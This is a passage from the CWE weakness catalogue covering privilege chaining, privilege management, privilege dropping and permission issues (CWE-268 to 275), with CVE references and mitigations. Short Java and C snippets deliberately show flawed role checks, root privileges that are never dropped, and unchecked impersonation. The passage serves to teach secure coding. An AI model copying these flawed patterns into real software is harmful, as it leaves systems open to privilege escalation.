</tbody>
</table>

### References


### Maintenance Notes

This overlaps authorization and access control problems.

Note: there are 2 separate sub-categories here:
- privilege incorrectly allows entities to perform certain actions
- object is incorrectly accessible to entities with a given privilege

---

**CWE-268: Privilege Chaining**

**Weakness ID:** 268 *(Weakness Base)*  
**Status:** Draft

### Description

**Summary**

Two distinct privileges, roles, capabilities, or rights can be combined in a way that allows an entity to perform unsafe actions that would not be allowed without that combination.

### Time of Introduction

- Architecture and Design
- Implementation
- Operation

### Applicable Platforms

**Languages**

- All

### Common Consequences
**Access Control**

**Gain privileges / assume identity**

A user can be given or gain access rights of another user. This can give the user unauthorized access to sensitive information including the access information of another user.

**Likelihood of Exploit**

High

**Demonstrative Examples**

This code allows someone with the role of "ADMIN" or "OPERATOR" to reset a user's password. The role of "OPERATOR" is intended to have less privileges than an "ADMIN", but still be able to help users with small issues such as forgotten passwords.

**Java Example:**

```java
public enum Roles {
    ADMIN, OPERATOR, USER, GUEST
}

public void resetPassword(User requestingUser, User user, String password) {
    if(isAuthenticated(requestingUser)) {
        switch(requestingUser.role) {
            case GUEST:
                System.out.println("You are not authorized to perform this command");
                break;
            case USER:
                System.out.println("You are not authorized to perform this command");
                break;
            default:
                setPassword(user, password);
                break;
        }
    } else {
        System.out.println("You must be logged in to perform this command");
    }
}
```

This code does not check the role of the user whose password is being reset. It is possible for an Operator to gain Admin privileges by resetting the password of an Admin account and taking control of that account.

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-1772</td>
<td>Gain certain rights via privilege chaining in alternate channel.</td>
</tr>
<tr>
<td>CVE-2003-0640</td>
<td>&quot;operator&quot; user can overwrite usernames and passwords to gain admin privileges.</td>
</tr>
<tr>
<td>CVE-2005-1736</td>
<td>Chaining of user rights.</td>
</tr>
<tr>
<td>CVE-2005-1973</td>
<td>Application is allowed to assign extra permissions to itself.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Architecture and Design**

**Separation of Privilege**

Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.

**Architecture and Design**

**Operation**

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
Architecture and Design
Operation
Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.268.1]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Weakness Ordinalities
Primary (where the weakness exists independent of other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>265</td>
<td>Privilege / Sandbox Issues</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>269</td>
<td>Improper Privilege Management</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>723</td>
<td>OWASP Top Ten 2004 Category A2 - Broken Access Control</td>
<td>711</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>901</td>
<td>SFP Primary Cluster: Privilege</td>
<td>888</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
</tbody>
</table>

Relationship Notes
There is some conceptual overlap with Unsafe Privilege.

Research Gaps
It is difficult to find good examples for this weakness.

Causal Nature
Explicit (an explicit weakness resulting from behavior of the developer)

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Privilege Chaining</td>
</tr>
</tbody>
</table>

References

CWE-269: Improper Privilege Management

<table>
<thead>
<tr>
<th>Weakness ID: 269 (Weakness Base)</th>
<th>Status: Incomplete</th>
</tr>
</thead>
<tbody>
<tr>
<td>Description</td>
<td>Summary</td>
</tr>
<tr>
<td></td>
<td>The software does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.</td>
</tr>
</tbody>
</table>

Time of Introduction
• Architecture and Design
• Implementation
• Operation

Applicable Platforms
Languages
• All

Common Consequences
Access Control
Gain privileges / assume identity

Likelihood of Exploit
Medium

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2001-0128</td>
<td>Does not properly compute roles.</td>
</tr>
</tbody>
</table>
CWE Version 2.11
CWE-269: Improper Privilege Management

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2001-1514</td>
<td>Does not properly pass security context to child processes in certain cases, allows privilege escalation.</td>
</tr>
<tr>
<td>CVE-2001-1555</td>
<td>Terminal privileges are not reset when a user logs out.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Architecture and Design**

**Operation**

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

**Architecture and Design**

**Separation of Privilege**

Follow the principle of least privilege when assigning access rights to entities in a software system.

**Architecture and Design**

**Separation of Privilege**

Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.

**Weakness Ordinalities**

**Primary** *(where the weakness exists independent of other weaknesses)*

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>265</td>
<td>Privilege / Sandbox Issues</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>284</td>
<td>Improper Access Control</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>901</td>
<td>SFP Primary Cluster: Privilege</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>250</td>
<td>Execution with Unnecessary Privileges</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>266</td>
<td>Incorrect Privilege Assignment</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>267</td>
<td>Privilege Defined With Unsafe Actions</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>268</td>
<td>Privilege Chaining</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>270</td>
<td>Privilege Context Switching Error</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>271</td>
<td>Privilege Dropping / Lowering Errors</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>274</td>
<td>Improper Handling of Insufficient Privileges</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>648</td>
<td>Incorrect Use of Privileged APIs</td>
<td>1000</td>
</tr>
</tbody>
</table>

**Causal Nature**

**Explicit** *(an explicit weakness resulting from behavior of the developer)*

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Privilege Management Error</td>
</tr>
</tbody>
</table>

**Related Attack Patterns**

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>58</td>
<td>Restful Privilege Elevation</td>
<td></td>
</tr>
</tbody>
</table>

**References**


**Maintenance Notes**

The relationships between privileges, permissions, and actors (e.g. users and groups) need further refinement within the Research view. One complication is that these concepts apply to two different pillars, related to control of resources (CWE-664) and protection mechanism failures (CWE-396).
CWE-270: Privilege Context Switching Error

Description

Summary
The software does not properly manage privileges while it is switching between different contexts that have different privileges or spheres of control.

Time of Introduction
- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages
- All

Common Consequences

Access Control
Gain privileges / assume identity
A user can assume the identity of another user with separate privileges in another context. This will give the user unauthorized access that may allow them to acquire the access information of other users.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-1688</td>
<td>Web browser cross domain problem when user hits &quot;back&quot; button.</td>
</tr>
<tr>
<td>CVE-2002-1770</td>
<td>Cross-domain issue - third party product passes code to web browser, which executes it in unsafe zone.</td>
</tr>
<tr>
<td>CVE-2003-1026</td>
<td>Web browser cross domain problem when user hits &quot;back&quot; button.</td>
</tr>
<tr>
<td>CVE-2005-2263</td>
<td>Run callback in different security context after it has been changed from untrusted to trusted. * note that &quot;context switch before actions are completed&quot; is one type of problem that happens frequently, espec. in browsers.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Architecture and Design
Operation
Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Architecture and Design
Operation
Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.270.1]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Architecture and Design
Separation of Privilege
Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>269</td>
<td>Improper Privilege Management</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>901</td>
<td>SFP Primary Cluster: Privilege</td>
<td>888</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
</tbody>
</table>

Research Gaps
This concept needs more study.
Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Privilege Context Switching Error</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>17</td>
<td>Accessing, Modifying or Executing Executable Files</td>
</tr>
<tr>
<td>30</td>
<td>Hijacking a Privileged Thread of Execution</td>
</tr>
<tr>
<td>35</td>
<td>Leverage Executable Code in Non-Executable Files</td>
</tr>
<tr>
<td>236</td>
<td>Catching exception throw/signal from privileged block</td>
</tr>
</tbody>
</table>

References


CWE-271: Privilege Dropping / Lowering Errors

<table>
<thead>
<tr>
<th>Weakness ID: 271 (Weakness Class)</th>
<th>Status: Incomplete</th>
</tr>
</thead>
</table>

Description

Summary

The software does not drop privileges before passing control of a resource to an actor that does not have those privileges.

Extended Description

In some contexts, a system executing with elevated permissions will hand off a process/file/etc. to another process or user. If the privileges of an entity are not reduced, then elevated privileges are spread throughout a system and possibly to an attacker.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

- Languages
  - All

Common Consequences

Access Control

- Gain privileges / assume identity
  - If privileges are not dropped, neither are access rights of the user. Often these rights can be prevented from being dropped.

Access Control

Non-Repudiation

- Gain privileges / assume identity
- Hide activities
  - If privileges are not dropped, in some cases the system may record actions as the user which is being impersonated rather than the impersonator.

Likelihood of Exploit

- High

Demonstrative Examples

The following code calls chroot() to restrict the application to a subset of the filesystem below APP_HOME in order to prevent an attacker from using the program to gain unauthorized access to files located elsewhere. The code then opens a file specified by the user and processes the contents of the file.

C Example:

```c
chroot(APP_HOME);
chdir("/");
```
FILE* data = fopen(argv[1], "r+");
...

Constraining the process inside the application's home directory before opening any files is a valuable security measure. However, the absence of a call to setuid() with some non-zero value means the application is continuing to operate with unnecessary root privileges. Any successful exploit carried out by an attacker against the application can now result in a privilege escalation attack because any malicious operations will be performed with the privileges of the superuser. If the application drops to the privilege level of a non-root user, the potential for damage is substantially reduced.

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-1999-0813</td>
<td>Finger daemon does not drop privileges when executing programs on behalf of the user being fingered.</td>
</tr>
<tr>
<td>CVE-1999-1326</td>
<td>FTP server does not drop privileges if a connection is aborted during file transfer.</td>
</tr>
<tr>
<td>CVE-2000-0172</td>
<td>Program only uses seteuid to drop privileges.</td>
</tr>
<tr>
<td>CVE-2000-1213</td>
<td>Program does not drop privileges after acquiring the raw socket.</td>
</tr>
<tr>
<td>CVE-2001-0559</td>
<td>Setuid program does not drop privileges after a parsing error occurs, then calls another program to handle the error.</td>
</tr>
<tr>
<td>CVE-2001-0787</td>
<td>Does not drop privileges in related groups when lowering privileges.</td>
</tr>
<tr>
<td>CVE-2001-1029</td>
<td>Does not drop privileges before determining access to certain files.</td>
</tr>
<tr>
<td>CVE-2002-0080</td>
<td>Does not drop privileges in related groups when lowering privileges.</td>
</tr>
<tr>
<td>CVE-2004-0213</td>
<td>Utility Manager launches winhlp32.exe while running with raised privileges, which allows local users to gain system privileges.</td>
</tr>
<tr>
<td>CVE-2004-0806</td>
<td>Setuid program does not drop privileges before executing program specified in an environment variable.</td>
</tr>
<tr>
<td>CVE-2004-0828</td>
<td>Setuid program does not drop privileges before processing file specified on command line.</td>
</tr>
<tr>
<td>CVE-2004-2070</td>
<td>Service on Windows does not drop privileges before using &quot;view file&quot; option, allowing code execution.</td>
</tr>
<tr>
<td>CVE-2004-2504</td>
<td>Windows program running as SYSTEM does not drop privileges before executing other programs (many others like this, especially involving the Help facility).</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Architecture and Design**

**Separation of Privilege**

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

**Architecture and Design**

**Operation**

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

**Architecture and Design**

**Separation of Privilege**

Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.

**Weakness Ordinalities**

**Primary (where the weakness exists independent of other weaknesses)**

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>ID</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>265</td>
<td>Privilege / Sandbox Issues</td>
<td></td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>B</td>
<td>269</td>
<td>Improper Privilege Management</td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>901</td>
<td>SFP Primary Cluster: Privilege</td>
<td></td>
<td>888</td>
</tr>
</tbody>
</table>
CWE-272: Least Privilege Violation

**Nature**

- **Type**: ParentOf
- **ID**: 272
- **Name**: Least Privilege Violation

**Status**: Incomplete

**Description**

**Summary**

The elevated privilege level required to perform operations such as chroot() should be dropped immediately after the operation is performed.

**Time of Introduction**

- Architecture and Design
- Implementation
- Operation

**Applicable Platforms**

**Languages**

- All

**Common Consequences**

- Access Control
- Confidentiality
- Gain privileges / assume identity
- Read application data
- Read files or directories

An attacker may be able to access resources with the elevated privilege that he should not have been able to access. This is particularly likely in conjunction with another flaw -- e.g., a buffer overflow.

**Detection Methods**

- Automated Static Analysis - Binary / Bytecode
- SOAR Partial

According to SOAR, the following detection techniques may be useful:

- Cost effective for partial coverage:
  - Compare binary / bytecode to application permission manifest

**References**


**Maintenance Notes**

CWE-271, CWE-272, and CWE-250 are all closely related and possibly overlapping. CWE-271 is probably better suited as a category.
Dynamic Analysis with automated results interpretation

SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Host-based Vulnerability Scanners – Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria

Manual Static Analysis - Source Code

SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
- Manual Source Code Review (not inspections)
Cost effective for partial coverage:
- Focused Manual Spotcheck - Focused manual analysis of source

Automated Static Analysis - Source Code

SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Source code Weakness Analyzer
  - Context-configured Source Code Weakness Analyzer

Automated Static Analysis

SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Permission Manifest Analysis

Architecture / Design Review

SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
- Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
  - Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
- Attack Modeling

Demonstrative Examples

Example 1:

C/C++ Example:

```c
setuid(0);
// Do some important stuff
setuid(old_uid);
// Do some non privileged stuff.
```

Java Example:

```java
method() {
  AccessController.doPrivileged(new PrivilegedAction()) {
    public Object run() {
      // Insert all code here
    }
  };
}
```

Example 2:
The following code calls chroot() to restrict the application to a subset of the filesystem below APP_HOME in order to prevent an attacker from using the program to gain unauthorized access to files located elsewhere. The code then opens a file specified by the user and processes the contents of the file.
C Example:

```c
chroot(APP_HOME);
chdir("/");
FILE* data = fopen(argv[1], "r+");
...
```

Constraining the process inside the application’s home directory before opening any files is a valuable security measure. However, the absence of a call to setuid() with some non-zero value means the application is continuing to operate with unnecessary root privileges. Any successful exploit carried out by an attacker against the application can now result in a privilege escalation attack because any malicious operations will be performed with the privileges of the superuser. If the application drops to the privilege level of a non-root user, the potential for damage is substantially reduced.

**Potential Mitigations**

**Architecture and Design**

**Operation**

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

**Architecture and Design**

**Separation of Privilege**

Follow the principle of least privilege when assigning access rights to entities in a software system.

**Architecture and Design**

**Separation of Privilege**

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

**Other Notes**

If system privileges are not dropped when it is reasonable to do so, this is not a vulnerability by itself. According to the principle of least privilege, access should be allowed only when it is absolutely necessary to the function of a given system, and only for the minimal necessary amount of time. Any further allowance of privilege widens the window of time during which a successful exploitation of the system will provide an attacker with that same privilege. If at all possible, limit the allowance of system privilege to small, simple sections of code that may be called atomically.

When a program calls a privileged function, such as chroot(), it must first acquire root privilege. As soon as the privileged operation has completed, the program should drop root privilege and return to the privilege level of the invoking user.

**Weakness Ordinalities**

**Primary** (*where the weakness exists independent of other weaknesses*)

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>254</td>
<td>Security Features</td>
<td>700</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>271</td>
<td>Privilege Dropping / Lowering Errors</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>748</td>
<td>CERT C Secure Coding Section 50 - POSIX (POS)</td>
<td>734</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>859</td>
<td>CERT Java Secure Coding Section 14 - Platform Security (SEC)</td>
<td>844</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>901</td>
<td>SFP Primary Cluster: Privilege</td>
<td>888</td>
</tr>
</tbody>
</table>

**Causal Nature**

**Explicit** (*an explicit weakness resulting from behavior of the developer*)
CWE Version 2.11
CWE-273: Improper Check for Dropped Privileges

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td></td>
<td>Least Privilege Violation</td>
</tr>
<tr>
<td>CLASP</td>
<td></td>
<td>Failure to drop privileges when reasonable</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>POS02-C</td>
<td>Follow the principle of least privilege</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>SEC00-J</td>
<td>Do not allow privileged blocks to leak sensitive information across a trust boundary</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>SEC01-J</td>
<td>Do not allow tainted variables in privileged blocks</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP36</td>
<td>Privilege</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>17</td>
<td>Accessing, Modifying or Executing Executable Files</td>
</tr>
<tr>
<td>35</td>
<td>Leverage Executable Code in Non-Executable Files</td>
</tr>
<tr>
<td>76</td>
<td>Manipulating Web Input to File System Calls</td>
</tr>
</tbody>
</table>

Maintenance Notes

CWE-271, CWE-272, and CWE-250 are all closely related and possibly overlapping. CWE-271 is probably better suited as a category.

CWE-273: Improper Check for Dropped Privileges

<table>
<thead>
<tr>
<th>Weakness ID: 273 (Weakness Base)</th>
<th>Status: Incomplete</th>
</tr>
</thead>
</table>

Description

Summary

The software attempts to drop privileges but does not check or incorrectly checks to see if the drop succeeded.

Extended Description

If the drop fails, the software will continue to run with the raised privileges, which might provide additional access to unprivileged users.

Time of Introduction

• Architecture and Design
• Implementation
• Operation

Applicable Platforms

Languages

• All

Modes of Introduction

This issue is likely to occur in restrictive environments in which the operating system or application provides fine-grained control over privilege management.

Common Consequences

Access Control

Gain privileges / assume identity

• If privileges are not dropped, neither are access rights of the user. Often these rights can be prevented from being dropped.

Access Control

Non-Repudiation

Gain privileges / assume identity

Hide activities

• If privileges are not dropped, in some cases the system may record actions as the user which is being impersonated rather than the impersonator.

Likelihood of Exploit

Medium

Demonstrative Examples

This code attempts to take on the privileges of a user before creating a file, thus avoiding performing the action with unnecessarily high privileges:
C/C++ Example:

```c
bool DoSecureStuff(HANDLE hPipe) {
    bool fDataWritten = false;
    ImpersonateNamedPipeClient(hPipe);
    HANDLE hFile = CreateFile(...);
    ../
    RevertToSelf();
    ../
}
```

The call to ImpersonateNamedPipeClient may fail, but the return value is not checked. If the call fails the code may execute with higher privileges than intended. In this case, an attacker could exploit this behavior to write a file to a location he does not have access to.

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2006-2916</td>
<td>Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail.</td>
</tr>
<tr>
<td>CVE-2006-4447</td>
<td>Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Architecture and Design**

**Separation of Privilege**

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

**Implementation**

**High**

Check the results of all functions that return a value and verify that the value is expected. Checking the return value of the function will typically be sufficient, however beware of race conditions (CWE-362) in a concurrent environment.

**Implementation**

In Windows, make sure that the process token has the SeImpersonatePrivilege(Microsoft Server 2003). Code that relies on impersonation for security must ensure that the impersonation succeeded, i.e., that a proper privilege demotion happened.

**Background Details**

In Windows based environments that have access control, impersonation is used so that access checks can be performed on a client identity by a server with higher privileges. By impersonating the client, the server is restricted to client-level security -- although in different threads it may have much higher privileges.

**Weakness Ordinalities**

**Primary** *(where the weakness exists independent of other weaknesses)*

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>PeerOf</td>
<td>252</td>
<td>Unchecked Return Value</td>
<td>1000</td>
<td>447</td>
</tr>
<tr>
<td>ChildOf</td>
<td>271</td>
<td>Privilege Dropping / Lowering Errors</td>
<td>699</td>
<td>481</td>
</tr>
<tr>
<td>ChildOf</td>
<td>634</td>
<td>Weaknesses that Affect System Processes</td>
<td>631</td>
<td>984</td>
</tr>
<tr>
<td>ChildOf</td>
<td>748</td>
<td>CERT C Secure Coding Section 50 - POSIX (POS)</td>
<td>734</td>
<td>1140</td>
</tr>
<tr>
<td>ChildOf</td>
<td>754</td>
<td>Improper Check for Unusual or Exceptional Conditions</td>
<td>1000</td>
<td>1146</td>
</tr>
<tr>
<td>ChildOf</td>
<td>962</td>
<td>SFP Secondary Cluster: Unchecked Status Condition</td>
<td>888</td>
<td>1380</td>
</tr>
<tr>
<td>MemberOf</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
<td>1323</td>
</tr>
</tbody>
</table>
CWE Version 2.11
CWE-274: Improper Handling of Insufficient Privileges

Affected Resources
• System Process

Causal Nature
Explicit (an explicit weakness resulting from behavior of the developer)

Taxonomy Mappings
<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td></td>
<td></td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>POS37-C</td>
<td>Ensure that privilege relinquishment is successful</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP4</td>
<td>Unchecked Status Condition</td>
</tr>
</tbody>
</table>

CWE-274: Improper Handling of Insufficient Privileges

Weakness ID: 274 (Weakness Base)  Status: Draft

Description
Summary
The software does not handle or incorrectly handles when it has insufficient privileges to perform an operation, leading to resultant weaknesses.

Time of Introduction
• Architecture and Design
• Implementation
• Operation

Applicable Platforms
Languages
• All

Common Consequences
Other
Other
Alter execution logic

Observed Examples
<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2001-1564</td>
<td>System limits are not properly enforced after privileges are dropped.</td>
</tr>
<tr>
<td>CVE-2005-1641</td>
<td>Does not give admin sufficient privileges to overcome otherwise legitimate user actions.</td>
</tr>
<tr>
<td>CVE-2005-3286</td>
<td>Firewall crashes when it can’t read a critical memory block that was protected by a malicious process.</td>
</tr>
</tbody>
</table>

Weakness Ordinalities
Primary (where the weakness exists independent of other weaknesses)

Relationships

Relationship Notes
Overlaps dropped privileges, insufficient permissions.
This has a layering relationship with Unchecked Error Condition and Unchecked Return Value.

Theoretical Notes
Within the context of vulnerability theory, privileges and permissions are two sides of the same coin. Privileges are associated with actors, and permissions are associated with resources. To perform access control, at some point the software makes a decision about whether the actor (and the privileges that have been assigned to that actor) is allowed to access the resource (based on the permissions that have been specified for that resource).
Causal Nature
Explicit (an explicit weakness resulting from behavior of the developer)

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Insufficient privileges</td>
</tr>
</tbody>
</table>

Maintenance Notes
CWE-280 and CWE-274 are too similar. It is likely that CWE-274 will be deprecated in the future.

CWE-275: Permission Issues

Category ID: 275 (Category)  Status: Draft

Description

Summary
Weaknesses in this category are related to improper assignment or handling of permissions.

Detection Methods

Automated Static Analysis - Binary / Bytecode
SOAR Partial
According to SOAR, the following detection techniques may be useful:
- Cost effective for partial coverage:
  - Inter-application Flow Analysis

Manual Static Analysis - Binary / Bytecode
SOAR Partial
According to SOAR, the following detection techniques may be useful:
- Cost effective for partial coverage:
  - Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Dynamic Analysis with automated results interpretation
SOAR Partial
According to SOAR, the following detection techniques may be useful:
- Cost effective for partial coverage:
  - Host-based Vulnerability Scanners – Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria
  - Web Application Scanner
  - Web Services Scanner
  - Database Scanners

Dynamic Analysis with manual results interpretation
SOAR High
According to SOAR, the following detection techniques may be useful:
- Highly cost effective:
  - Host Application Interface Scanner
  - Fuzz Tester
  - Framework-based Fuzzer
  - Automated Monitored Execution
  - Forced Path Execution

Manual Static Analysis - Source Code
SOAR High
According to SOAR, the following detection techniques may be useful:
- Highly cost effective:
  - Manual Source Code Review (not inspections)
- Cost effective for partial coverage:
  - Focused Manual Spotcheck - Focused manual analysis of source
Automated Static Analysis - Source Code
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Context-configured Source Code Weakness Analyzer

Automated Static Analysis
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Configuration Checker

Architecture / Design Review
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
- Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
- Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>264</td>
<td>Permissions, Privileges, and Access Controls</td>
<td>699</td>
</tr>
<tr>
